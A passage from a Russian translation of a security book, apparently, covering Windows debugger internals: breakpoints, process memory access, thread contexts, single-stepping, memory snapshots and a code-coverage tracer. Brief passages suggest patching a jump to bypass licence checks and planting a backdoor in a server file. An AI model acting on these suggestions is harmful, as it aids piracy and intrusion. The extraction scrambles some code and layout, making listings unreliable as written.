MEMORY_BASIC_INFORMATION mbi;
VirtualQueryEx( m_hProcess,
(void *)(m_bp_address),
&mbi,
sizeof(MEMORY_BASIC_INFORMATION));
// теперь выполняем чтение оригинального байта.
if(!ReadProcessMemory(m_hProcess,
(void *)(m_bp_address),
&(m_original_byte),
1,
NULL))
{

}

_error_out("[!] Failed to read process memory ! \n");
return NULL;

if(m_original_byte == 0xCC)
{
_error_out("[!] Multiple setting of the same breakpoint ! \n");
return NULL;
}
DWORD dwOldProtect;
// Возвращаем защиту.
if(!VirtualProtectEx( m_hProcess,
mbi.BaseAddress,
mbi.RegionSize,
mbi.Protect,
&dwOldProtect ))

120
{

Глава 3

_error_out("VirtualProtect failed!");
return NULL;

}
SetBreakpoint();

Приведенный выше код изменяет защиту памяти, чтобы мы могли считать иско>
мый адрес. Затем мы сохраняем оригинальный байт данных. Следующий код позво>
ляет затереть в памяти оригинальную инструкцию инструкцией 0xCC. Обратите
внимание, что мы сначала проверяем память, чтобы определить, не была ли установ>
лена точка останова ранее.
bool SetBreakpoint()
{
char a_bpx = '\xCC';
if(!m_hProcess)
{
_error_out("Попытка установить точку останова без указания процесса");
return FALSE;
}
///////////////////////////////////////////////////////////////////////////////
/
// Меняем защиту страницы памяти, чтобы получить возможность записи.
// Затем восстанавливаем защиту.
///////////////////////////////////////////////////////////////////////////////
/
MEMORY_BASIC_INFORMATION mbi;
VirtualQueryEx( m_hProcess,
(void *)(m_bp_address),
&mbi,
sizeof(MEMORY_BASIC_INFORMATION));
if(!WriteProcessMemory(m_hProcess, (void *)(m_bp_address), &a_bpx, 1,
NULL))
{
char _c[255];
sprintf(_c,
"[!] Ошибка при записи в память процесса %d ! \n", GetLastError());
_error_out(_c);
return FALSE;
}
if(!m_persistent)
{
m_refcount++;
}
DWORD dwOldProtect;
// Восстанавливаем защиту.
if(!VirtualProtectEx( m_hProcess,
mbi.BaseAddress,
mbi.RegionSize,
mbi.Protect,
&dwOldProtect ))
{
_error_out("VirtualProtect failed!");
return FALSE;
}
// TODO: Flush instruction cache.
}

return TRUE;

Восстановление исходного кода и структуры программы

121

В предыдущем фрагменте кода в память исследуемого процесса записывается
один байт 0xCC. Как инструкция этот байт интерпретируется, как прерывание 3.
Прежде всего, следует изменить защиту для страницы в области памяти для иссле>
дуемого процесса, чтобы получить возможность выполнить запись. Перед тем как
продолжить выполнение программы, надо восстановить исходную защиту. Исполь>
зованные здесь вызовы API полностью документированы в MSDN (Microsoft Devel>
oper Network), и мы рекомендуем прочитать эту документацию.

Чтение и запись в память
После установки точки останова следующей задачей является исследование па>
мяти. Если вы хотите воспользоваться одним из средств отладки, рассмотренных в
этой книге, необходимо исследовать память и попытаться обнаружить введенные
пользователем данные. Операции чтения из памяти и записи в память легко реали>
зуются в среде Windows с помощью простого API. Также операции чтения и записи
в память можно осуществлять с помощью программ, подобных memcpy.
Если вы хотите запросить область памяти для определения ее доступности или
свойств (чтение, запись, неперемещаемая область памяти и т.д.), лучше воспользо>
ваться функцией VirtualQueryEx.
////////////////////////////////////////////////////////
// Проверим, что мы можем читать искомый адрес памяти.
////////////////////////////////////////////////////////
bool can_read( CDThread *theThread, void *p )
{
bool ret = FALSE;
MEMORY_BASIC_INFORMATION mbi;
int sz =
VirtualQueryEx( theThread->m_hProcess,
(void *)p,
&mbi,
sizeof(MEMORY_BASIC_INFORMATION));
if(

{

}

(mbi.State == MEM_COMMIT)
&&
(mbi.Protect != PAGE_READONLY)
&&
(mbi.Protect != PAGE_EXECUTE_READ)
&&
(mbi.Protect != PAGE_GUARD)
&&
(mbi.Protect != PAGE_NOACCESS)
)

ret = TRUE;
}
return ret;

В этом примере функция определяет, доступна ли для чтения область памяти.
При необходимости выполнить операции чтения или записи в память, рекомендует>
ся использовать вызовы API ReadProcessMemory и WriteProcessMemory.

Отладка многопотоковых программ
Если в программе есть несколько потоков, вполне реально контролировать
“поведение”каждого отдельного потока (что очень полезно при проведении атак на

122

Глава 3

современное программное обеспечение). Для этого существуют определенные API>
вызовы. У каждого потока есть собственный набор регистров процессора, называе>
мый контекстом потока. Контекст отражает состояние регистров процессора на мо>
мент последнего исполнения потока и записывается в структуру CONTEXT. Кон>
текст — это структура данных, которая контролирует важные данные процесса, на>
пример, текущий указатель команд. Изменяя и запрашивая структуры контекста,
можно отслеживать и управлять всеми потоками многопотоковой программы. Рас>
смотрим пример установки указателя команд для данного потока.
bool SetEIP(DWORD theEIP)
{
CONTEXT ctx;
HANDLE hThread =
fOpenThread(
THREAD_ALL_ACCESS,
FALSE,
m_thread_id
);
if(hThread == NULL)
{
_error_out("[!] OpenThread failed ! \n");
return FALSE;
}
ctx.ContextFlags = CONTEXT_FULL;
if(!::GetThreadContext(hThread, &ctx))
{
_error_out("[!] GetThreadContext failed ! \n");
return FALSE;
}
ctx.Eip = theEIP;
ctx.ContextFlags = CONTEXT_FULL;
if(!::SetThreadContext(hThread, &ctx))
{
_error_out("[!] SetThreadContext failed ! \n");
return FALSE;
}
CloseHandle(hThread);
}

return TRUE;

В этом примере показано, как можно считывать и устанавливать значения эле>
ментов для структуры CONTEXT потока. Структура CONTEXT потока полностью до>
кументирована в заголовочных файлах Microsoft. Обратите внимание, что флаг кон>
текста CONTEXT_FULL устанавливается в ходе операций get или set. Это позволя>
ет управлять всеми значениями элементов в структуре CONTEXT.
Не забывайте закрывать обработчик потока при завершении операции. В против>
ном случае произойдет утечка ресурсов. В нашем примере мы воспользовались функ>
цией API OpenThread. Если программу нельзя связать с функцией OpenThread,
придется импортировать вызов функции вручную. В нашем примере это было
сделано с помощью указателя функции fOpenThread. Для инициализации
fOpenThread необходимо импортировать указатель функции непосредственно из
kernel32.dll, как показано ниже.

Восстановление исходного кода и структуры программы

123

typedef
void *
(__stdcall *FOPENTHREAD)
(
DWORD dwDesiredAccess, // Право доступа
BOOL bInheritHandle, // Обработать параметр наследования
DWORD dwThreadId // Идентификатор потока
);
FOPENTHREAD fOpenThread=NULL;
fOpenThread = (FOPENTHREAD)
GetProcAddress(
GetModuleHandle("kernel32.dll"),
"OpenThread" );
if(!fOpenThread)
{
_error_out("[!] ошибка при доступе к функции openthread!\n");
}

Это особенно полезный фрагмент кода, поскольку в нем проиллюстрировано, как
определять функцию и как ее импортировать из библиотеки DLL вручную.

Инвентаризация потоков или процессов
С помощью специального API, который входит в состав операционной системы
Windows, можно организовать запросы ко всем запущенным процессам и потокам.
Этот программный код можно использовать для запроса всех запущенных потоков в
процессе, проверяемом с помощью отладчика.
// Для исследуемого процесса, создадим
// структуру для каждого потока.
HANDLE
hProcessSnap = NULL;
hProcessSnap = CreateToolhelp32Snapshot(
TH32CS_SNAPTHREAD,
mPID);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
_error_out("toolhelp snap failed\n");
return;
}
else
{
THREADENTRY32 the;
the.dwSize = sizeof(THREADENTRY32);
BOOL bret = Thread32First( hProcessSnap, &the);
while(bret)
{
// Создать структуру потока.
if(the.th32OwnerProcessID == mPID)
{
CDThread *aThread = new CDThread;
aThread->m_thread_id = the.th32ThreadID;
aThread->m_hProcess = m_hProcess;

}

}

mThreadList.push_back( aThread );
}
bret = Thread32Next(hProcessSnap, &the);

124

Глава 3

В этом примере для каждого потока был создан и инициализирован объект
CDThread. Мы получили структуру потока THREADENTRY32, в которой сохранены
многие интересные для отладчика значения. Мы рекомендуем прочитать специаль>
ное руководство Microsoft по этому API. Обратите внимание, что в коде выполняют>
ся проверки значения владельца идентификатора процесса (PID) для каждого пото>
ка с целью гарантировать, что данный поток принадлежит исследуемому процессу.

Пошаговый режим
Отслеживание выполнения программы имеет огромное значение в плане опреде>
ления того, способен ли хакер управлять логикой программы. Например, если 13>й
байт пакета передается оператору switch, то злоумышленник вполне контролирует
этот оператор, поскольку он контролирует значение 13>го байта пакета.
Пошаговый режим является свойством чипсета x86. При установке специального
флага TRAP FLAG (флаг трассировки или флаг пошагового режима) процессор вы>
полняет только по одной команде, за каждой из которых следует прерывание. Ис>
пользуя пошаговые прерывания, отладчик может проверить каждую выполняемую
команду. Кроме того, с помощью описанных выше программ можно исследовать со>
стояние памяти на каждом шаге. Например, для этой цели можно воспользоваться
программой The PIT (http://www.hbgary.com). Эти методы достаточно просты,
но их умелая комбинация обеспечит создание очень мощного отладчика.
Для перевода процессора в пошаговый режим нужно установить флаг трассиров>
ки, как показано в следующем листинге.
bool SetSingleStep()
{
CONTEXT ctx;
HANDLE hThread =
fOpenThread(
THREAD_ALL_ACCESS,
FALSE,
m_thread_id
);
if(hThread == NULL)
{
_error_out("[!] ошибка при открытии потока BPX!\n");
return FALSE;
}
та.

// Вернуть на одну инструкцию. Больше нельзя сделать копий состояния объекctx.ContextFlags = CONTEXT_FULL;
if(!::GetThreadContext(hThread, &ctx))
{
_error_out("[!] ошибка в GetThreadContext! \n");
return FALSE;
}
// Установить пошаговый режим для этого потока.
ctx.EFlags |= TF_BIT ;
ctx.ContextFlags = CONTEXT_FULL;
if(!::SetThreadContext(hThread, &ctx))
{
_error_out("[!] ошибка в SetThreadContext ! \n");
return FALSE;
}

Восстановление исходного кода и структуры программы

125

CloseHandle(hThread);
return TRUE;

}

Обратите внимание, что мы устанавливаем флаг трассировки с помощью структуры
CONTEXT для потока. Идентификатор потока хранится в переменной m_thread_id. Для
пошаговой отладки многопоточной программы все потоки этой программы должны
быть переведены в пошаговый режим.

Установка заплат
Если вы используете наш тип точек останова, то это говорит о том, что вы уже зна>
комы с созданием заплат. Прочитав исходный байт команды и заменив его байтом
0xCC вы установили заплату в исходную программу! Безусловно, при установке за>
плат можно заменять намного больше, чем одну команду. Заплаты могут использо>
ваться для добавления операторов ветвления, новых блоков кода и даже для замеще>
ния статических данных. С помощью заплат пираты часто взламывают механизмы за>
щиты от копирования. И действительно, можно добиться впечатляющих результатов,
заменив только одну команду перехода. Например, если в программе есть блок кода,
который отвечает за проверку лицензионного файла, то пирату достаточно внедрить
9
команду перехода, которая позволит обойти эту проверку лицензии . Читатели, кото>
рые заинтересованы во взломе программного обеспечения, могут получить тысячи до>
кументов в Internet по этой теме. Для этого можно просто выполнить поиск в глобаль>
ной сети по ключевой фразе “взлом программ” (“software cracking”).
Конечно, неоспоримо важно уметь создавать заплаты. Это позволяет во многих
случаях исправить ошибку в программе. Правда, с таким же успехом можно и внести
ошибку в программу. Например, вы знаете, что конкретный файл используется про>
граммным обеспечением атакуемого сервера. С помощью заплаты можно внедрить в
этот файл потайной ход для доступа в систему. Хороший пример заплаты для про>
граммного обеспечения (заплата для ядра Windows NT) приведен в главе 8, “Наборы
средств для взлома”.

Внесение ошибок
Существует множество форм внесения ошибок. По существу, идея заключается в
предоставлении необычных или нестандартных входных данных в программу с по>
следующим анализом происходящих в результате событий. Среди используемых
методов можно назвать изменение программного кода и искажение данных в куче
или стеке программы.
При внесении ошибок в программном обеспечении всегда будут происходить
сбои. Вопрос в том, как именно они будут происходить? Появится ли при этом у ха>
кера возможность получить доступ к системе? Раскроет ли программное обеспече>
ние критически важную информацию? Приведет ли отказ в работе программы к се>
рии отказов, которые повлияют на работу других частей системы? Если отказы не
наносят ущерба системе, говорят об отказоустойчивой системе.
Внесение ошибок является одним из наиболее мощных методов тестирования
программ, который по>прежнему практически не используется поставщиками ком>
9

Этот весьма упрощенный метод сейчас уже не применяется на практике. Более сложные
схемы обхода проверок рассмотрены в книге Building Secure Software. — Прим. авт.

126

Глава 3

мерческих программ. Вот почему в современных коммерческих программах столько
ошибок. Многие так называемые специалисты по компьютерной инженерии при>
держиваются той точки зрения, что четкий процесс разработки программного обес>
печения приводит к созданию абсолютно безопасных программ, в которых нет оши>
бок, но это совсем не так. Реальная жизнь доказала, что в программном коде, создан>
ном без продуманной стратегии тестирования, всегда будут опасные ошибки. Просто
удивительно (и очень приятно для хакеров), что в большинстве фирм по созданию
программ, на тестирование выделяются наименьшие суммы. Это значит, что в бли>
жайшие годы мир будет принадлежать хакерам.
Внесение ошибок с помощью входных данных является отличным методом для
выявления уязвимых мест. Причина проста: злоумышленник контролирует входные
данные для программы, т. е. может проверить любую комбинацию входных данных.
Естественно, что хакер обязательно найдет комбинацию, которая позволит ему
10
взломать программу, не так ли?

Фиксирование состояния процесса
Появление точки останова приводит к остановке программы в процессе выпол>
нения. Останавливаются все действия во всех потоках. В этот момент можно вос>
пользоваться специальными программами для чтения (или записи) в любой части
памяти программы. Для обычной программы выделяется несколько важных облас>
тей памяти. Рассмотрим дамп памяти для сервера имен версии BIND 9.02, работаю>
щего под управлением Windows NT.
named.exe:
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory
Found memory

10

based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based

at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at

0x00010000,
0x00020000,
0x0012d000,
0x0012e000,
0x00140000,
0x00240000,
0x00250000,
0x00321000,
0x003b6000,
0x003b7000,
0x003b8000,
0x003b9000,
0x003bc000,
0x003be000,
0x003c0000,
0x003c2000,
0x003c4000,
0x003c5000,
0x003c6000,
0x003c9000,
0x003ca000,
0x003cb000,
0x003cc000,
0x003e1000,
0x003e5000,
0x003f1000,
0x003f8000,
0x0042a000,
0x0042c000,
0x0042e000,

size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size

4096
4096
4096
8192
184320
24576
4096
581632
4096
4096
4096
12288
8192
8192
8192
8192
4096
4096
12288
4096
4096
4096
8192
12288
4096
24576
4096
8192
8192
8192

Конечно, нет! Но в некоторых случаях этот метод срабатывает. — Прим. авт.

Восстановление исходного кода и структуры программы
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found
Found

memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory
memory

based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based
based

at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at

0x00430000,
0x00441000,
0x004d8000,
0x004f1000,
0x004f7000,
0x00500000,
0x00700000,
0x00790000,
0x0089c000,
0x0089d000,
0x0099c000,
0x0099d000,
0x00a9e000,
0x00a9f000,
0x00aa0000,
0x00c7e000,
0x00c7f000,
0x00cae000,
0x00caf000,
0x0ffed000,
0x0ffef000,
0x1001f000,
0x10020000,
0x10023000,
0x10024000,
0x71a83000,
0x71a95000,
0x71aa5000,
0x71ac2000,
0x77c58000,
0x77c5a000,
0x77cac000,
0x77d2f000,
0x77d9d000,
0x77e36000,
0x77e37000,
0x77e39000,
0x77ed6000,
0x77ed7000,
0x77fc5000,
0x7ffd9000,
0x7ffda000,
0x7ffdb000,
0x7ffdc000,
0x7ffdd000,
0x7ffde000,
0x7ffdf000,

size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size
size

127

4096
491520
45056
20480
16384
65536
4096
4096
4096
12288
4096
12288
4096
4096
503808
4096
135168
4096
4096
8192
4096
4096
12288
4096
4096
8192
4096
4096
4096
8192
20480
4096
4096
8192
4096
8192
8192
4096
8192
20480
4096
4096
4096
4096
4096
4096
4096

Можно прочесть все данные в этих областях памяти и сохранить их. Эти данные
можно рассматривать как “моментальный снимок” исполняющегося процесса.
Можно продолжить исполнение программы и приостановить его в любой другой
момент с помощью следующей точки останова. При этом в любой момент ячейки
памяти можно заполнить данными, которые были сохранены при первом останове.
Это позволяет “перезапустить” программу с момента выполненного “снимка”, т.е.
можно бесконечно “прокручивать” программу назад к нужной точке.
Это мощный метод, который применяется при автоматическом тестировании про>
грамм. Он позволяет сделать моментальный снимок памяти программы и перезапус>
тить ее. После восстановления данных в памяти можно внедрить вредоносные данные
или симулировать различные типы атакующих данных. Также вполне возможно орга>
низовать этот процесс в виде цикла и проверять один и тот же программный код с по>

128

Глава 3

мощью различных входных данных. Автоматизированный метод проверки программ
очень эффективен и позволяет проверить миллионы комбинаций входных данных.
Следующий листинг иллюстрирует выполнение “моментального снимка” памяти
проверяемого процесса. Запрос выполняется относительно всех возможных областей
памяти. Данные каждой выделенной области памяти копируются в перечень структур.
struct mb
{
MEMORY_BASIC_INFORMATION mbi;
char *p;
};
std: :list gMemList;
void takesnap()
{
DWORD start = 0;
SIZE_T lpRead;
while(start < 0xFFFFFFFF)
{
MEMORY_BASIC_INFORMATION mbi;
int sz =
VirtualQueryEx( hProcess,
(void *)start,
&mbi,
sizeof(MEMORY_BASIC_INFORMATION));
if(

{

(mbi.State ==
&&
(mbi.Protect
&&
(mbi.Protect
&&
(mbi.Protect
&&
(mbi.Protect
)

MEM_COMMIT)
!= PAGE_READONLY)
!= PAGE_EXECUTE_READ)
!= PAGE_GUARD)
!= PAGE_NOACCESS)

TRACE("Обнаружена область памяти по адресу %d, размер %d\n",
mbi.BaseAddress,
mbi.RegionSize);
struct mb *b = new mb;
memcpy(
(void *)&(b->mbi),
(void *)&mbi,
sizeof(MEMORY_BASIC_INFORMATION));
char *p = (char *)malloc(mbi.RegionSize);
b->p = p;
if(!ReadProcessMemory( hProcess,
(void *)start, p,
mbi.RegionSize, &lpRead))
{
TRACE("Ошибка в ReadProcessMemory %d\nRead %d",
GetLastError(), lpRead);
}
if(mbi.RegionSize != lpRead)
{
TRACE("Read short bytes %d != %d\n",
mbi.RegionSize,
lpRead);
}

Восстановление исходного кода и структуры программы
gMemList.push_front(b);

}

}

}

129

if(start + mbi.RegionSize < start) break;
start += mbi.RegionSize;

В этом примере для проверки всех областей памяти, начиная с адреса 0 и закан>
чивая 0xFFFFFFFF, используется функция VirtualQueryEx. Если обнаруживает>
ся блок выделенной памяти, то предоставляются сведения о размере выделенной об>
ласти памяти и в следующем запросе указывается адрес, который следует сразу по>
сле данной области. Это позволяет устранить повторные запросы к одной и той же
области памяти. Если область памяти зарезервирована, значит, она используется.
При этом осуществляется проверка, что для области памяти не установлены права
доступа “только для чтения”, поэтому создается список только тех областей памяти,
данные в которых могут изменяться. Нет причины сохранять области памяти, кото>
рые нельзя изменить, хотя при желании можно сохранить и эти области памяти на
тот случай, если есть предположение, что права доступа к памяти могут изменяться
во время исполнения приложения.
Если нужно восстановить состояние программы, следует прибегнуть к восста>
новлению всех сохраненных значений областей памяти.
void setsnap()
{
std::list::iterator ff = gMemList.begin();
while(ff != gMemList.end())
{
struct mb *u = *ff;
if(u)
{
DWORD lpBytes;
TRACE("Запись в память с адреса %d, размер %d\n",
u->mbi.BaseAddress,
u->mbi.RegionSize);

{

if(!WriteProcessMemory(hProcess,
u->mbi.BaseAddress,
u->p,
u->mbi.RegionSize,
&lpBytes))
TRACE("ошибка в WriteProcessMemory %d\n",
GetLastError());

}
if(lpBytes != u->mbi.RegionSize)
{
TRACE("Warning, write failed %d != %d\n",
lpBytes,
u->mbi.RegionSize);
}

}

}

}
ff++;

Как видим, программный код для восстановления значений ячеек памяти намно>
го проще. Здесь уже не надо отправлять запросы по адресам памяти, потому что ори>
гинальные значения просто восстанавливаются.

130

Глава 3

Дизассемблирование машинного кода
Чрезвычайно важно, чтобы отладчик умел дизассемблировать команды. При
подходе к точке останова или пошагового события каждый поток исследуемого про>
цесса по>прежнему указывает на определенную команду. Используя функции
структуры CONTEXT, можно определить адрес памяти, где хранится команда, но это
не позволяет узнать, какая именно команда была использована.
Для этого данные в памяти должны быть дизассемблированы. К счастью, нам не
нужно создавать собственный дизассемблер с нуля. Дизассемблер от Microsoft по>
ставляется совместно с операционными системами этой компании. Этот дизассемб>
лер используется, например, утилитой Dr. Watson при отказе в работе программы.
Воспользуемся этим уже существующим средством для добавления функций дизас>
семблера в наш отладчик.
HANDLE hThread =
fOpenThread(
THREAD_ALL_ACCESS,
FALSE,
theThread->m_thread_id
);
if(hThread == NULL)
{
_error_out("[!] Ошибка при открытии обработчика потока !\n");
return FALSE;
}
DEBUGPACKET dp;
dp.context = theThread->m_ctx;
dp.hProcess = theThread->m_hProcess;
dp.hThread = hThread;
DWORD ulOffset = dp.context.Eip;
// Дизассемблирование команды.
if ( disasm ( &dp
,
&ulOffset
,
(PUCHAR)m_instruction,
FALSE
) )
{
ret = TRUE;
}
else
{

}

_error_out("error disassembling instruction\n");
ret = FALSE;

CloseHandle(hThread);

В этом программном коде используется определенная пользователем структура по>
тока. Благодаря полученному контексту мы теперь знаем, какая команда была выпол>
нена. Вызов функции disasm описан в исходном коде Dr. Watson и легко может быть
добавлен в ваш проект. Мы рекомендуем использовать исходный код Dr. Watson для
добавления возможностей дизассемблера. Однако существуют и другие дизассембле>
ры с открытым кодом, которые предоставляют подобные возможности.

Восстановление исходного кода и структуры программы

131

Создание базового средства для охвата кода
Как уже было указано, во всех средствах охвата кода (как коммерческих, так и
бесплатных) отсутствуют важные возможности и методы визуализации данных, ко>
торые очень интересуют хакера. Вместо того чтобы “сражаться” с дорогими и неэф>
фективными средствами, почему бы не создать аналог самостоятельно? В этом раз>
деле речь пойдет о чрезвычайно полезном и в то же время простом средстве охвата
кода, которое можно создать, используя отладочные вызовы API. Это средство будет
отслеживать все условные ветвления в программном коде. Особо выделяются слу>
чаи, если выбор ветви по условию происходит на основе введенных пользователем
данных. Очевидно, что цель заключается в определении того, исполняются ли вве>
денные данные во всех вероятных ветвях, которые можно контролировать.
В нашем примере это средство запускает процессор в пошаговом режиме и от>
слеживает каждую команду с помощью дизассемблера. Нашей основной задачей яв>
ляется выявить искомый блок кода (code location). Блок кода представляет собой не>
прерывный блок команд без операторов условного перехода. Команды условного
перехода соединяют между собой блоки кода. От одного блока кода программа пере>
ходит к исполнению другого блока. Нам нужно отследить все “посещенные” блоки
кода и определить, обрабатывались ли в них введенные пользователем данные. Для
отслеживания блоков кода мы использовали следующую структуру.
//Блок кода
struct item
{
item()
{
subroutine=FALSE;
is_conditional=FALSE;
isret=FALSE;
boron=FALSE;
address=0;
length=1;
x=0;
y=0;
column=0;
m_hasdrawn=FALSE;
}
bool
subroutine;
bool
is_conditional;
bool
isret;
bool
boron;
bool
m_hasdrawn;
// Для остановки циклических ссылок
int
int
int
int
int

address;
length;
column;
x;
y;

std::string m_disasm;
std::string m_borons;
std::list mChildren;
struct item * lookup(DWORD addr)
{
std::list::iterator i = mChildren.begin();
while(i != mChildren.end())

132

Глава 3
{

};

}

struct item *g = *i;
if(g->address == addr) return g;
i++;

}
return NULL;

В каждом блоке кода есть набор указателей ко всем “адресатам” условного пере>
хода из этого блока кода. Также в каждом блоке кода есть строка, в которой
“отражаются” команды ассемблера, составляющие блок кода. Следующий фрагмент
кода исполняется при каждом пошаговом событии.
struct item *anItem = NULL;
// Проверим, что контекст является новым.
theThread->GetThreadContext();
// Дизассемблируем искомую команду.
m_disasm.Disasm( theThread );
// Определим, является ли она целью условного перехода.
if(m_next_is_target || m_next_is_calltarget)
{
anItem = OnBranchTarget( theThread );
SetCurrentItemForThread( theThread->m_thread_id, anItem);
m_next_is_target = FALSE;
m_next_is_calltarget = FALSE;
// Мы прошли операцию ветвления, поэтому нужно задать
// списки родительский/дочерний.
if(old_item)
{
// Определим, находимся ли мы в дочернем процессе.
if(NULL == old_item->lookup(anItem->address))
{
old_item->mChildren.push_back(anItem);
}
}

}
else
{
anItem = GetCurrentItemForThread( theThread->m_thread_id );
}
if(anItem)
{
anItem->m_disasm += m_disasm.m_instruction;
anItem->m_disasm += '\n';
}
char *_c = m_disasm.m_instruction;
if(strstr(_c, "call"))
{
m_next_is_calltarget = TRUE;
}
else if(strstr(_c, "ret"))
{
m_next_is_target = TRUE;
if(anItem) anItem->isret = TRUE;
}
else if(strstr(_c, "jmp"))
{
m_next_is_target = TRUE;
}

Восстановление исходного кода и структуры программы

133

else if(strstr(_c, "je"))
{
m_next_is_target = TRUE;
if(anItem)anItem->is_conditional=TRUE;
}
else if(strstr(_c, "jne"))
{
m_next_is_target = TRUE;
if(anItem)anItem->is_conditional=TRUE;
}
else if(strstr(_c, "jl"))
{
m_next_is_target = TRUE;
if(anItem)anItem->is_conditional=TRUE;
}
else if(strstr(_c, "jle"))
{
m_next_is_target = TRUE;
if(anItem)anItem->is_conditional=TRUE;
}
else if(strstr(_c, "jz"))
{
m_next_is_target = TRUE;
if(anItem)anItem->is_conditional=TRUE;
}
else if(strstr(_c, "jnz"))
{
m_next_is_target = TRUE;
if(anItem)anItem->is_conditional=TRUE;
}
else if(strstr(_c, "jg"))
{
m_next_is_target = TRUE;
if(anItem)anItem->is_conditional=TRUE;
}
else if(strstr(_c, "jge"))
{
m_next_is_target = TRUE;
if(anItem)anItem->is_conditional=TRUE;
}
else
{
// Нет команды условного перехода,
// поэтому добавляем единицу к длине текущего элемента.
if(anItem) anItem->length++;
}
//////////////////////////////////////////////
// Проверка тега boron.
//////////////////////////////////////////////
if(anItem && mTagLen)
{
if(check_boron(theThread, _c, anItem)) anItem->boron = TRUE;
}
old_item = anItem;

Как видим, в коде создается новая структура CONTEXT для потока, который был
остановлен на первом шаге. Затем выполнено дизассемблирование команды, на ко>
торую указывает указатель команд. Если команда является началом нового блока
кода, запрашивается список уже найденных соответствий блоков кода, чтобы не вы>
полнять повторных записей. Команда затем сравнивается со списком известных ко>
манд условного перехода и в структуре элемента устанавливаются соответствующие

134

Глава 3

флаги. В завершение делается проверка наличия тегов boron. Код для этой провер>
ки представлен в следующем разделе.

Проверка тегов boron
При возникновении пошагового события или точки останова отладчик может за>
просить в памяти сведения о наличии тегов boron (т.е. подстроки с данными поль>
зователя). С помощью подпрограмм запроса к памяти, которые были представлены
выше, мы можем создать довольно интеллектуальные запросы о наличии тегов
boron. Поскольку регистры процессора постоянно используются для хранения ука>
зателей на данные, есть смысл проверить все регистры процесса на предмет хране>
ния в них указателей на выделенные адреса памяти при возникновении точки оста>
нова или пошагового события. Если регистр процессора содержит указатель на вы>
деленную область памяти, мы можем запросить эту область памяти и выполнить в
ней поиск тега boron. Итак, в любом блоке кода, в котором обрабатываются введен>
ные пользователем данные, обычно присутствует указатель на эти данные в одном
из регистров процессора. Для проверки регистров можно воспользоваться следую>
щей программой.
bool check_boron( CDThread *theThread, char *c, struct item *ip )
{
// Отметим все регистры, хранящие указатели на буфер пользователя.
DWORD reg;
if(strstr(c, "eax"))
{
reg = theThread->m_ctx.Eax;
if(can_read( theThread, (void *)reg ))
{
SIZE_T lpRead;
char string[255];
string[mTagLen]=NULL;
// Выполним чтение указанной области памяти.
if(ReadProcessMemory( theThread->m_hProcess,
(void *)reg, string, mTagLen, &lpRead))
{
if(strstr( string, mBoronTag ))
{
// Найти строку boron.
ip->m_borons += "EAX: ";
ip->m_borons += c;
ip->m_borons += " —> ";
ip->m_borons += string;
ip->m_borons += '\n';

}

}

}

return TRUE;

}
....
// Повторим этот вызов для всех регистров EAX, EBX, ECX, EDX, ESI, and EDI.
return FALSE;
}

Для экономии места мы не стали приводить программный код для всех регист>
ров, а ограничились регистром EAX. Программа должна опросить все регистры, ука>

Восстановление исходного кода и структуры программы

135

занные в комментарии. Функция возвращает значение TRUE, если тег boron обна>
ружен в области памяти, на которую есть указатель в одном из регистров.

Резюме
Все программы состоят из машинного кода. В действительности, только машин>
ный код заставляет программу выполнять те или иные функции. Восстановление
исходного кода представляет собой процесс поиска шаблонов в машинном коде. Оп>
ределив определенный шаблон в машинном коде, хакер может найти потенциально
уязвимые места в программном обеспечении.
В этой главе были изложены базовые концепции и методы декомпиляции. Был
проанализирован программный код нескольких устаревших (но все еще мощных)
средств в качестве примера. Используя эти средства и методы, можно узнать все не>
обходимые сведения о цели, что впоследствии позволит провести ее взлом.

136

Глава 3

Взлом серверных приложений

137

Глава 4

Взлом серверных приложений

У

же никого не удивишь взломом компьютера с помощью загрузочного диска. Од>
нако такие атаки предполагают наличиепрактически неограниченного физиче>
ского доступа к консоли компьютера. Но обычно этот доступ как раз очень ограни>
чен (например, с помощью вооруженных охранников и собак). Единственное, что
нужно уметь для проведения такой атаки, — это взламывать замки и проникать в
чужие помещения. Безусловно, самым защищенным компьютером будет тот, кото>
рый не подключен к сети, остается постоянно выключенным, вся информация на
дисках которого стерта, и вообще он залит многометровой толщей бетона. Вот толь>
ко такой полностью безопасный компьютер одновременно становится и полностью
бесполезным. Большинство людей в реальном мире работают на своих компьютерах.
Поэтому мы включаем компьютеры, загружаем операционную систему, подключаем
его к Internet и начинаем работать на клавиатуре.
В сети Internet для большинства компьютеров обеспечивается весьма слабая за>
щита. Если после установки по умолчанию программное обеспечение компьютера не
проходит никакой настройки, то такой компьютер можно считать совершенно от>
крытым для атак. Сеть Internet преимущественно представляет собой огромную
группу связанных между собой открытых компьютеров (как связанные веревкой
консервные банки). Проблемы настолько серьезны, что начинающий хакер способен
просто загрузить с общедоступного Web>сайта программу атаки, которая существует
уже более двух лет, и успешно взломать удивительно большое количество компью>
теров. В Internet всегда найдется парочка легких целей. Однако это идеальный вари>
